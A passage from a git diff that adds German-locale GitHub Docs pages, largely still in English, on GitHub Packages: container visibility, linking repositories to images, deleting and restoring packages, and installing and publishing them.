+## Container creation visibility for organization members
+
+You can choose the visibility of containers that organization members can publish by default.
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+4. On the left, click **Packages**.
+6. Under "Container creation", choose whether you want to enable the creation of public, private, or internal container images.
+    - To enable organization members to create public container images, click **Public**.
+    - To enable organization members to create private container images that are only visible to other organization members, click **Private**. You can further customize the visibility of private container images.
+    - To enable organization members to create internal container images that are visible to all organization members, click **Internal**. If the organization belongs to an enterprise, the container images will be visible to all enterprise members.
+    ![Visibility options for container images published by organization members](/assets/images/help/package-registry/container-creation-org-settings.png)
+
+## Configuring visibility of container images for an organization
+
+When you first publish a package, the default visibility is private and only you can see the package. You can grant users or teams different access roles for your container image through the access settings.
+
+A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again.
+
+{% data reusables.package_registry.package-settings-from-org-level %}
+{% data reusables.package_registry.package-settings-option %}
+5. Under "Danger Zone", choose a visibility setting:
+    - To make the container image visible to anyone, click **Make public**.
+    {% warning %}
+
+    **Warning:** Once you make a package public, you cannot make it private again.
+
+    {% endwarning %}
+    - To make the container image visible to a custom selection of people, click **Make private**.
+  ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png)
diff --git a/translations/de-DE/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md b/translations/de-DE/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md
new file mode 100644
index 0000000000..db786ab0a8
--- /dev/null
+++ b/translations/de-DE/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md
@@ -0,0 +1,85 @@
+---
+title: Connecting a repository to a package
+intro: 'You can connect a repository to a container image on {% data variables.location.product_location %}.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /packages/managing-container-images-with-github-container-registry/connecting-a-repository-to-a-container-image
+  - /packages/guides/connecting-a-repository-to-a-container-image
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+shortTitle: Connect a repository
+---
+
+By connecting a repository to a package, the package landing page will show information and links from the repository, such as the README.
+
+## Connecting a repository to a user-owned package on {% data variables.product.prodname_dotcom %}
+
+{% data reusables.package_registry.package-settings-from-user-level %}
+
+{% data reusables.package_registry.repository_connection_steps %}
+
+## Connecting a repository to an organization-owned package on {% data variables.product.prodname_dotcom %}
+
+{% data reusables.package_registry.package-settings-from-org-level %}
+
+{% data reusables.package_registry.repository_connection_steps %}
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+## Connecting a repository to a container image using the command line
+
+{% ifversion ghes > 3.4 %}
+{% data reusables.package_registry.container-registry-ghes-beta %}
+{% endif %}
+
+1. In your Dockerfile, add this line, replacing {% ifversion ghes %}`HOSTNAME`, {% endif %}`OWNER` and `REPO` with your details:
+
+ ```shell
+ LABEL org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPO
+ ```
+ For example, if you're the user `monalisa` and own `my-repo`, and {% data variables.location.product_location %} hostname is `github.companyname.com`, you would add this line to your Dockerfile:
+ ```shell
+ LABEL org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}{% data reusables.package_registry.container-registry-example-hostname %}{% endif %}/monalisa/my-repo
+ ```
+ For more information, see "[LABEL](https://docs.docker.com/engine/reference/builder/#label)" in the official Docker documentation and "[Pre-defined Annotation Keys](https://github.com/opencontainers/image-spec/blob/master/annotations.md#pre-defined-annotation-keys)" in the `opencontainers/image-spec` repository.
+
+2. Build your container image. This example builds an image from the Dockerfile in the current directory and assigns the image name `hello_docker`.
+
+  ```shell
+  $ docker build -t hello_docker .
+  ```
+3. Optionally, review details for the Docker image you want to tag.
+  ```shell
+  $ docker images
+  > REPOSITORY                                                    TAG                 IMAGE ID            CREATED             SIZE
+  > {% data reusables.package_registry.container-registry-example-hostname %}/my-org/hello_docker         latest              38f737a91f39        47 hours ago        91.7MB
+  > {% data reusables.package_registry.container-registry-example-hostname %}/my-username/hello_docker    latest              38f737a91f39        47 hours ago        91.7MB
+  > hello-world                                                   latest              fce289e99eb9        16 months ago       1.84kB
+  ```
+
+4. Tag your Docker image with your desired image name and hosting destination.
+  ```shell
+  $ docker tag IMAGE_NAME {% data reusables.package_registry.container-registry-hostname %}/OWNER/NEW_IMAGE_NAME:TAG
+  ```
+  For example:
+  ```shell
+  $ docker tag 38f737a91f39 {% data reusables.package_registry.container-registry-example-hostname %}/monalisa/hello_docker:latest
+  ```
+
+5. If you haven't already, authenticate to the {% data variables.product.prodname_container_registry %}. For more information, see "[Authenticating to the {% data variables.product.prodname_container_registry %}](/packages/managing-container-images-with-github-container-registry/pushing-and-pulling-docker-images#authenticating-to-the-container-registry)."
+    {% raw %}
+    ```shell
+    $ echo $CR_PAT | docker login {% endraw %}{% data reusables.package_registry.container-registry-hostname %}{% raw %} -u USERNAME --password-stdin
+    > Login Succeeded
+    ```
+    {% endraw %}
+6. Push your container image to the {% data variables.product.prodname_container_registry %}.
+  ```shell
+  $ docker push {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE-NAME:TAG
+  ```
+  For example:
+  ```shell
+  $ docker push {% data reusables.package_registry.container-registry-example-hostname %}/monalisa/hello_docker:latest
+  ```
+{% endif %}
diff --git a/translations/de-DE/content/packages/learn-github-packages/deleting-and-restoring-a-package.md b/translations/de-DE/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
new file mode 100644
index 0000000000..cb8b157547
--- /dev/null
+++ b/translations/de-DE/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
@@ -0,0 +1,253 @@
+---
+title: Deleting and restoring a package
+intro: Learn how to delete or restore a package.
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /github/managing-packages-with-github-packages/deleting-a-package
+  - /packages/publishing-and-managing-packages/deleting-a-package
+  - /packages/manage-packages/deleting-a-package
+  - /packages/guides/deleting-a-container-image
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+  ghae: '*'
+shortTitle: Delete & restore a package
+---
+
+{% data reusables.package_registry.packages-ghes-release-stage %}
+
+## Package deletion and restoration support on {% data variables.product.prodname_dotcom %}
+
+On {% data variables.product.prodname_dotcom %} if you have the required access, you can delete:
+- an entire private package
+- an entire public package, if there's not more than 5000 downloads of any version of the package
+- a specific version of a private package
+- a specific version of a public package, if the package version doesn't have more than 5,000 downloads
+
+{% note %}
+
+**Note:**
+- You cannot delete a public package if any version of the package has more than 5,000 downloads. In this scenario, contact [GitHub support](https://support.github.com/contact?tags=docs-packages) for further assistance.
+- When deleting public packages, be aware that you may break projects that depend on your package.
+
+{% endnote %}
+
+On {% data variables.product.prodname_dotcom %}, you can also restore an entire package or package version, if:
+- You restore the package within 30 days of its deletion.
+- The same package namespace is still available and not used for a new package.
+
+{% ifversion fpt or ghec or ghes %}
+## Packages API support
+
+{% data reusables.package_registry.packages-classic-pat-only %}
+
+{% ifversion fpt or ghec %}
+
+You can use the REST API to manage your packages. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)."
+
+{% endif %}
+
+For packages that inherit their permissions and access from repositories, you can use GraphQL to delete a specific package version.{% data reusables.package_registry.no-graphql-to-delete-packages %} For more information about GraphQL support, see "[Deleting a version of a repository-scoped package with GraphQL](#deleting-a-version-of-a-repository-scoped-package-with-graphql)."
+
+{% endif %}
+
+## Required permissions to delete or restore a package
+
+For packages that inherit their access permissions from repositories, you can delete a package if you have admin permissions to the repository.
+
+The {% data variables.product.prodname_registry %} registries below **only** use repository-scoped permissions:
+
+  {% ifversion not fpt or ghec %}- Docker images at `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE-NAME`{% endif %}
+  {% ifversion packages-npm-v2 %}{% else %}- npm{% endif %}
+  - RubyGems registry
+  - Apache Maven registry
+  - NuGet registry
+
+{% ifversion packages-npm-v2 %}For {% data variables.packages.prodname_ghcr_and_npm_registry %}, you can choose to allow packages to be scoped to a user, an organization, or linked to a repository.{% endif %}
+
+{% ifversion fpt or ghec %}
+
+To delete a package that has granular permissions separate from a repository, such as container images stored at `https://ghcr.io/OWNER/PACKAGE-NAME` or `https://npm.pkg.github.com/OWNER/PACKAGE-NAME`, you must have admin access to the package. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)."
+
+{% endif %}
+
+## Deleting a package version
+
+### Deleting a version of a repository-scoped package on {% data variables.product.prodname_dotcom %}
+
+To delete a version of a repository-scoped package, you must have admin permissions to the repository that owns the package. For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.package_registry.packages-from-code-tab %}
+{% data reusables.package_registry.package-settings-option %}
+5. On the left, click **Manage versions**.
+5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**.
+  ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png)
+6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**.
+  ![Confirm package deletion button](/assets/images/help/package-registry/package-version-deletion-confirmation.png)
+
+{% ifversion fpt or ghec or ghes %}
+### Deleting a version of a repository-scoped package with GraphQL
+
+For packages that inherit their permissions and access from repositories, you can use the GraphQL to delete a specific package version.
+
+{% data reusables.package_registry.no-graphql-to-delete-packages %}{% ifversion fpt or ghec %} You can however use the REST API. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)."{% endif %}
+
+Use the `deletePackageVersion` mutation in the GraphQL API. You must use a {% data variables.product.pat_v1 %} with the `read:packages`, `delete:packages`, and `repo` scopes. For more information about {% data variables.product.pat_v1_plural %}, see "[About {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)."
+
+The following example demonstrates how to delete a package version, using a `packageVersionId` of `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`.
+
+```shell
+curl -X POST \
+-H "Accept: application/vnd.github.package-deletes-preview+json" \
+-H "Authorization: bearer TOKEN" \
+-d '{"query":"mutation { deletePackageVersion(input:{packageVersionId:\"MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg==\"}) { success }}"}' \
+HOSTNAME/graphql
+```
+
+To find all of the private packages you have published to {% data variables.product.prodname_registry %}, along with the version IDs for the packages, you can use the `packages` connection through the `repository` object. You will need a {% data variables.product.pat_v1 %} with the `read:packages` and `repo` scopes. For more information, see the [`packages`](/graphql/reference/objects#repository) connection or the [`PackageOwner`](/graphql/reference/interfaces#packageowner) interface.
+
+For more information about the `deletePackageVersion` mutation, see "[`deletePackageVersion`](/graphql/reference/mutations#deletepackageversion)."
+
+You cannot directly delete an entire package using GraphQL, but if you delete every version of a package, the package will no longer show on {% data variables.product.product_name %}.
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+### Deleting a version of a user-scoped package on {% data variables.product.prodname_dotcom %}
+
+To delete a specific version of a user-scoped package on {% data variables.product.prodname_dotcom %}, such as for a Docker image at `ghcr.io`, use these steps. To delete an entire package, see "[Deleting an entire user-scoped package on {% data variables.product.prodname_dotcom %}](#deleting-an-entire-user-scoped-package-on-github)."
+
+To review who can delete a package version, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+
+{% data reusables.package_registry.package-settings-from-user-level %}
+{% data reusables.package_registry.package-settings-option %}
+5. On the left, click **Manage versions**.
+5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**.
+  ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png)
+6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**.
+  ![Confirm package deletion button](/assets/images/help/package-registry/confirm-container-package-version-deletion.png)
+
+### Deleting a version of an organization-scoped package on {% data variables.product.prodname_dotcom %}
+
+To delete a specific version of an organization-scoped package on {% data variables.product.prodname_dotcom %}, such as for a Docker image at `ghcr.io`, use these steps.
+To delete an entire package, see "[Deleting an entire organization-scoped package on {% data variables.product.prodname_dotcom %}](#deleting-an-entire-organization-scoped-package-on-github)."
+
+To review who can delete a package version, see "[Required permissions to delete or restore a package](#required-permissions-to-delete-or-restore-a-package)."
+
+{% data reusables.package_registry.package-settings-from-org-level %}
+{% data reusables.package_registry.package-settings-option %}
+5. On the left, click **Manage versions**.
+5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**.
+  ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png)
+6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**.
+  ![Confirm package version deletion button](/assets/images/help/package-registry/confirm-container-package-version-deletion.png)
+{% endif %}
+
+## Deleting an entire package
+
+### Deleting an entire repository-scoped package on {% data variables.product.prodname_dotcom %}
+
+To delete an entire repository-scoped package, you must have admin permissions to the repository that owns the package. For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.package_registry.packages-from-code-tab %}
+{% data reusables.package_registry.package-settings-option %}
+4. Under "Danger Zone", click **Delete this package**.
+5. To confirm, review the confirmation message, enter your package name, and click **I understand, delete this package.**
+  ![Confirm package deletion button](/assets/images/help/package-registry/package-version-deletion-confirmation.png)
+
+{% ifversion fpt or ghec %}
+### Deleting an entire user-scoped package on {% data variables.product.prodname_dotcom %}
+
+To review who can delete a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+
+{% data reusables.package_registry.package-settings-from-user-level %}
+{% data reusables.package_registry.package-settings-option %}
+5. On the left, click **Options**.
+  !["Options" menu option](/assets/images/help/package-registry/options-for-container-settings.png)
+6. Under "Danger zone", click **Delete this package**.
+  ![Delete package version button](/assets/images/help/package-registry/delete-container-package-button.png)
+6. To confirm deletion, type the package name and click **I understand the consequences, delete this package**.
+  ![Confirm package version deletion button](/assets/images/help/package-registry/confirm-container-package-deletion.png)
+
+### Deleting an entire organization-scoped package on {% data variables.product.prodname_dotcom %}
+
+To review who can delete a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+
+{% data reusables.package_registry.package-settings-from-org-level %}
+{% data reusables.package_registry.package-settings-option %}
+5. On the left, click **Options**.
+  !["Options" menu option](/assets/images/help/package-registry/options-for-container-settings.png)
+6. Under "Danger zone", click **Delete this package**.
+  ![Delete package button](/assets/images/help/package-registry/delete-container-package-button.png)
+6. To confirm deletion, type the package name and click **I understand the consequences, delete this package**.
+  ![Confirm package deletion button](/assets/images/help/package-registry/confirm-container-package-deletion.png)
+{% endif %}
+
+## Restoring packages
+
+You can restore a deleted package or version if:
+- You restore the package within 30 days of its deletion.
+- The same package namespace and version is still available and not reused for a new package.
+
+For example, if you have a deleted RubyGems package named `octo-package` that was scoped to the repo `octo-repo-owner/octo-repo`, then you can only restore the package if the package namespace `rubygem.pkg.github.com/octo-repo-owner/octo-repo/octo-package` is still available, and 30 days have not yet passed.
+
+{% ifversion fpt or ghec %}
+To restore a deleted package, you must also meet one of these permission requirements:
+  - For repository-scoped packages: You have admin permissions to the repository that owns the deleted package.{% ifversion fpt or ghec %}
+  - For user-account scoped packages: Your personal account owns the deleted package.
+  - For organization-scoped packages: You have admin permissions to the deleted package in the organization that owns the package.{% endif %}
+{% endif %}
+
+{% ifversion ghae or ghes %}
+To delete a package, you must also have admin permissions to the repository that owns the deleted package.
+{% endif %}
+
+For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+
+Once the package is restored, the package will use the same namespace it did before. If the same package namespace is not available, you will not be able to restore your package. In this scenario, to restore the deleted package, you must delete the new package that uses the deleted package's namespace first.
+
+### Restoring a package in an organization
+
+ You can restore a deleted package through your organization account settings, as long as the package was in a repository owned by the organizaton{% ifversion fpt or ghec %} or had granular permissions and was scoped to your organization account{% endif %}.
+
+To review who can restore a package in an organization, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+3. On the left, click **Packages**.
+4. Under "Deleted Packages", next to the package you want to restore, click **Restore**.
+  ![Restore button](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png)
+5. To confirm, type the name of the package and click **I understand the consequences, restore this package**.
+  ![Restore package confirmation button](/assets/images/help/package-registry/type-package-name-and-restore-button.png)
+
+{% ifversion fpt or ghec %}
+
+### Restoring a user-account scoped package
+
+You can restore a deleted package through your personal account settings, if the package was in one of your repositories or scoped to your personal account. For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+
+{% data reusables.user-settings.access_settings %}
+2. On the left, click **Packages**.
+4. Under "Deleted Packages", next to the package you want to restore, click **Restore**.
+  ![Restore button](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png)
+5. To confirm, type the name of the package and click **I understand the consequences, restore this package**.
+  ![Restore package confirmation button](/assets/images/help/package-registry/type-package-name-and-restore-button.png)
+
+{% endif %}
+
+### Restoring a package version
+
+You can restore a package version from your package's landing page. To review who can restore a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+
+1. Navigate to your package's landing page.
+2. On the right, click **Package settings**.
+2. On the left, click **Manage versions**.
+3. On the top right, use the "Versions" drop-down menu and select **Deleted**.
+  ![Versions drop-down menu showing the deleted option](/assets/images/help/package-registry/versions-drop-down-menu.png)
+4. Next to the deleted package version you want to restore, click **Restore**.
+  ![Restore option next to a deleted package version](/assets/images/help/package-registry/restore-package-version.png)
+5. To confirm, click **I understand the consequences, restore this version.**
+  ![Confirm package version restoration](/assets/images/help/package-registry/confirm-package-version-restoration.png)
diff --git a/translations/de-DE/content/packages/learn-github-packages/index.md b/translations/de-DE/content/packages/learn-github-packages/index.md
new file mode 100644
index 0000000000..0aed9369bf
--- /dev/null
+++ b/translations/de-DE/content/packages/learn-github-packages/index.md
@@ -0,0 +1,32 @@
+---
+title: Informationen zu GitHub-Paketen
+shortTitle: Learn GitHub Packages
+intro: 'Du kannst mehr über die Verwendung von Paketen in GitHub erfahren, z. B. wie du neue Pakete in {% data variables.product.prodname_registry %} veröffentlichst, vorhandene Pakete einsiehst und installierst und vorhandene Pakete unter bestimmten Umständen löschst.'
+redirect_from:
+  - /packages/getting-started-with-github-container-registry
+  - /github/managing-packages-with-github-packages/publishing-and-managing-packages
+  - /github/packages/publishing-and-managing-packages
+  - /packages/publishing-and-managing-packages
+  - /packages/manage-packages
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /introduction-to-github-packages
+  - /about-permissions-for-github-packages
+  - /configuring-a-packages-access-control-and-visibility
+  - /connecting-a-repository-to-a-package
+  - /publishing-a-package
+  - /viewing-packages
+  - /installing-a-package
+  - /deleting-and-restoring-a-package
+ms.openlocfilehash: b8601079ea8f62b98f4fd2d42ccb29c7a91a9d52
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145134369'
+---
+{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %}
diff --git a/translations/de-DE/content/packages/learn-github-packages/installing-a-package.md b/translations/de-DE/content/packages/learn-github-packages/installing-a-package.md
new file mode 100644
index 0000000000..da7cd8260f
--- /dev/null
+++ b/translations/de-DE/content/packages/learn-github-packages/installing-a-package.md
@@ -0,0 +1,33 @@
+---
+title: Installing a package
+intro: 'You can install a package from {% data variables.product.prodname_registry %} and use the package as a dependency in your own project.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /github/managing-packages-with-github-packages/installing-a-package
+  - /packages/publishing-and-managing-packages/installing-a-package
+  - /packages/manage-packages/installing-a-package
+permissions: You can install any package that you have permission to view.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+
+{% data reusables.package_registry.packages-ghes-release-stage %}
+{% data reusables.package_registry.packages-ghae-release-stage %}
+
+## About package installation
+
+You can search on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to find packages in {% data variables.product.prodname_registry %} that you can install in your own project. For more information, see "[Searching {% data variables.product.prodname_registry %} for packages](/search-github/searching-on-github/searching-for-packages)."
+
+After you find a package, you can read the package's description and installation and usage instructions on the package page.
+
+## Installing a package
+
+You can install a package from {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghae or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines.
+
+1. Authenticate to {% data variables.product.prodname_registry %} using the instructions for your package client. For more information, see "[Authenticating to GitHub Packages](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages)."
+2. Install the package using the instructions for your package client.
+
+For instructions specific to your package client, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)."
diff --git a/translations/de-DE/content/packages/learn-github-packages/introduction-to-github-packages.md b/translations/de-DE/content/packages/learn-github-packages/introduction-to-github-packages.md
new file mode 100644
index 0000000000..4537c6fe1d
--- /dev/null
+++ b/translations/de-DE/content/packages/learn-github-packages/introduction-to-github-packages.md
@@ -0,0 +1,137 @@
+---
+title: Introduction to GitHub Packages
+intro: '{% data variables.product.prodname_registry %} is a software package hosting service that allows you to host your software packages privately {% ifversion ghae %} for specified users or internally for your enterprise{% else %}or publicly{% endif %} and use packages as dependencies in your projects.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /articles/about-github-package-registry
+  - /github/managing-packages-with-github-package-registry/about-github-package-registry
+  - /github/managing-packages-with-github-packages/about-github-packages
+  - /packages/publishing-and-managing-packages/about-github-packages
+  - /packages/learn-github-packages/about-github-packages
+  - /packages/learn-github-packages/core-concepts-for-github-packages
+  - /packages/guides/about-github-container-registry
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Introduction
+---
+
+{% data reusables.package_registry.packages-ghes-release-stage %}
+{% data reusables.package_registry.packages-ghae-release-stage %}
+
+## About {% data variables.product.prodname_registry %}
+
+{% data variables.product.prodname_registry %} is a platform for hosting and managing packages, including containers and other dependencies. {% data variables.product.prodname_registry %} combines your source code and packages in one place to provide integrated permissions management{% ifversion fpt or ghec %} and billing{% endif %}, so you can centralize your software development on {% data variables.product.product_name %}.
+
+You can integrate {% data variables.product.prodname_registry %} with {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs, {% data variables.product.prodname_actions %}, and webhooks to create an end-to-end DevOps workflow that includes your code, CI, and deployment solutions.
+
+{% data variables.product.prodname_registry %} offers different package registries for commonly used package managers, such as npm, RubyGems, Apache Maven, Gradle, Docker, and NuGet. {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}'s {% data variables.product.prodname_container_registry %} is optimized for containers and supports Docker and OCI images.{% endif %} For more information on the different package registries that {% data variables.product.prodname_registry %} supports, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)."
+
+{% ifversion fpt or ghec %}
+
+![Diagram showing packages support for the Container registry, RubyGems, npm, Apache Maven, NuGet, and Gradle](/assets/images/help/package-registry/packages-diagram-with-container-registry.png)
+
+{% else %}
+
+![Diagram showing packages support for the Docker registry, RubyGems, npm, Apache Maven, Gradle, NuGet, and Docker](/assets/images/help/package-registry/packages-diagram-without-container-registry.png)
+
+{% endif %}
+
+You can view a package's README, as well as metadata such as licensing, download statistics, version history, and more on {% data variables.product.product_name %}. For more information, see "[Viewing packages](/packages/manage-packages/viewing-packages)."
+
+{% ifversion ghes %}
+
+For more information about the configuration of {% data variables.product.prodname_registry %} on {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)."
+
+{% endif %}
+
+### Overview of package permissions and visibility
+
+|                    |        |
+|--------------------|--------------------|
+| Permissions        | {% ifversion fpt or ghec %}The permissions for a package are either inherited from the repository where the package is hosted or, for packages in the {% data variables.packages.prodname_ghcr_and_npm_registry %}, they can be defined for specific user or organization accounts. For more information, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." {% else %}Each package inherits the permissions of the repository where the package is hosted. <br> <br> For example, anyone with read permissions for a repository can install a package as a dependency in a project, and anyone with write permissions can publish a new package version.{% endif %} |
+| Visibility         | {% data reusables.package_registry.public-or-private-packages %} |
+
+For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)."
+
+{% ifversion fpt or ghec %}
+## About billing for {% data variables.product.prodname_registry %}
+
+{% data reusables.package_registry.packages-billing %} {% data reusables.package_registry.packages-spending-limit-brief %} For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."
+
+{% endif %}
+
+## Supported clients and formats
+<!-- If you make changes to this feature, check whether any of the changes affect languages listed in /get-started/learning-about-github/github-language-support. If so, please update the language support article accordingly. -->
+
+{% data variables.product.prodname_registry %} uses the native package tooling commands you're already familiar with to publish and install package versions.
+### Support for package registries
+
+| Language | Description | Package format | Package client |
+| --- | --- | --- | --- |
+| JavaScript | Node package manager | `package.json`  | `npm` |
+| Ruby |  RubyGems package manager | `Gemfile` |  `gem` |
+| Java | Apache Maven project management and comprehension tool | `pom.xml` |  `mvn` |
+| Java | Gradle build automation tool for Java | `build.gradle` or `build.gradle.kts`  | `gradle`  |
+| .NET | NuGet package management for .NET | `nupkg`  |  `dotnet` CLI |
+| N/A | Docker container management | `Dockerfile` | `Docker` |
+
+{% ifversion ghes %}
+{% note %}
+
+**Note:** When enabling the Docker registry, we highly recommend also enabling subdomain isolation. For more information, see "[Enabling subdomain isolation](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation)."
+
+{% endnote %}
+
+{% endif %}
+
+For more information about configuring your package client for use with {% data variables.product.prodname_registry %}, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)."
+
+{% ifversion fpt or ghec %}
+For more information about Docker and the {% data variables.product.prodname_container_registry %}, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)."
+{% endif %}
+## Authenticating to {% data variables.product.prodname_registry %}
+
+{% data reusables.package_registry.authenticate-packages %}
+
+{% data reusables.package_registry.authenticate-packages-github-token %}
+
+## Managing packages
+
+{% ifversion fpt or ghec %}
+You can delete a package in the {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} user interface or using the REST API. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" and the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)."
+
+{% data reusables.package_registry.no-graphql-to-delete-packages %}
+{% endif %}
+
+{% ifversion ghes %}
+You can delete a private or public package in the {% data variables.product.product_name %} user interface. Or for repo-scoped packages, you can delete a version of a private package using GraphQL.
+{% endif %}
+
+{% ifversion ghae %}
+You can delete a version of a package in the {% data variables.product.product_name %} user interface or using the GraphQL API.
+{% endif %}
+
+When you use the GraphQL API to query and delete private packages, you must use the same {% data variables.product.pat_v1 %} you use to authenticate to {% data variables.product.prodname_registry %}.
+
+For more information, see {% ifversion ghes or ghae %}"[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" and {% endif %}"[Forming calls with GraphQL](/graphql/guides/forming-calls-with-graphql)."
+
+You can configure webhooks to subscribe to package-related events, such as when a package is published or updated. For more information, see the "[`package` webhook event](/webhooks/event-payloads/#package)."
+
+## Contacting support
+
+{% ifversion fpt or ghec %}
+If you have feedback or feature requests for {% data variables.product.prodname_registry %}, use a [{% data variables.product.prodname_github_community %} discussion](https://github.com/orgs/community/discussions/categories/actions-and-packages).
+
+Contact {% data variables.contact.github_support %} about {% data variables.product.prodname_registry %} using [our contact form](https://support.github.com/contact?form%5Bsubject%5D=Re:%20GitHub%20Packages) if:
+
+* You experience anything that contradicts the documentation
+* You encounter vague or unclear errors
+* Your published package contains sensitive data, such as GDPR violations, API Keys, or personally identifying information
+
+{% else %}
+If you need support for {% data variables.product.prodname_registry %}, please contact your site administrators.
+
+{% endif %}
diff --git a/translations/de-DE/content/packages/learn-github-packages/publishing-a-package.md b/translations/de-DE/content/packages/learn-github-packages/publishing-a-package.md
new file mode 100644
index 0000000000..57496eecf2
--- /dev/null
+++ b/translations/de-DE/content/packages/learn-github-packages/publishing-a-package.md
@@ -0,0 +1,41 @@
+---
+title: Publishing a package
+intro: 'You can publish a package to {% data variables.product.prodname_registry %} to make the package available for others to download and re-use.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /github/managing-packages-with-github-packages/publishing-a-package
+  - /packages/publishing-and-managing-packages/publishing-a-package
+permissions: Anyone with write permissions for a repository can publish a package to that repository.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+
+{% data reusables.package_registry.packages-ghes-release-stage %}
+{% data reusables.package_registry.packages-ghae-release-stage %}
+
+## About published packages
+
+You can help people understand and use your package by providing a description and other details like installation and usage instructions on the package page. {% data variables.product.product_name %} provides metadata for each version, such as the publication date, download activity, and recent versions. For an example package page, see [@Codertocat/hello-world-npm](https://github.com/Codertocat/hello-world-npm/packages/10696?version=1.0.1).
+
+{% data reusables.package_registry.public-or-private-packages %} A repository can be connected to more than one package. To prevent confusion, make sure the README and description clearly provide information about each package.
+
+{% ifversion fpt or ghec %}
